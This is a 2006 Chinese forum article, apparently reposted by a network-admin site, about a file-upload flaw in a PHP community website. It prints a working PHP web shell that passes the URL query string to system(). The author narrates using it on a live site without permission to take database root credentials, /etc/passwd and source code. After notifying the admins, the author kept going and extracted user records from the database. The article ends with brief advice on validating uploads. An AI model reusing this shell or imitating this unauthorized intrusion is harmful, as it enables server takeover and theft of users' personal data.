关于php做社区网站的安全性

2006-02-27 作者:bitsCN整理来源:中国网管联盟点评 投稿 收藏

目前，我发现某个社区网站中的一个上传“我的照片”功能有着很大的安全隐患，因为上传程序未对上传的文件做分析，从而我可以上传一个test.php的文件，然后服务器上的名字就为?????.php(?????为数字），

　　我的PHP内容如下：网管u家u.bitscn@com

<?

$dbs=mysql_connect($strDBHost,$strDBUser,$strDBPassword);

……

mysql_close($dbs);

?>

　　当然……中我只作了个测试，没有真正使用数据库，但是我以另一个PHP，?????.php，内容如下：网管论坛bbs_bitsCN_com

<?

$query=getenv("QUERY_STRING");

$command=urldecode($query);

$stdout=system("$command");

网管联盟bitsCN_com

echo "$stdout";

?>

成功的取得

$strDBHost = "?.?.?.?"; 中国网管论坛bbs.bitsCN.com

$strDBPassword = "????";

$strDBUser = "root";

并连上数据库

　　然后用后一个PHP把上传的PHP命名为CMD.PHP和DB.PHP 网管bitscn_com

　　成功取得/ETC/PASSWD和该网站的首页面MAIN.PHP源码。

　　然后我发信警告网管，但是他们在第一天没及时修补漏洞，于是我对数据库进行分析，并上传了个MB.PHP，成功的得到数据库内的用户信息。

　　今天他们采取的修补手段是把那个可以上传的目录移去，不过这将导致用户暂时不能浏览、上传照片。

　　所以进行此类设计时，应该考虑到恶意用户通过直接调用url，把恶意数据传个程序，而不能以为网页在服务器端就安全了！网管u家u.bitscn@com

顶一下

TAGs： 安全性 网站社区关于 quot 上传 PHP 数据库 一个然后

上一篇：php漏洞对策下一篇：发现了第一只php病毒PHP.Pirus

关于php做社区网站的安全性

2006-02-27 作者:bitsCN整理 来源:中国网管联盟 点评 投稿 收藏

2006-02-27 作者:bitsCN整理来源:中国网管联盟点评投稿收藏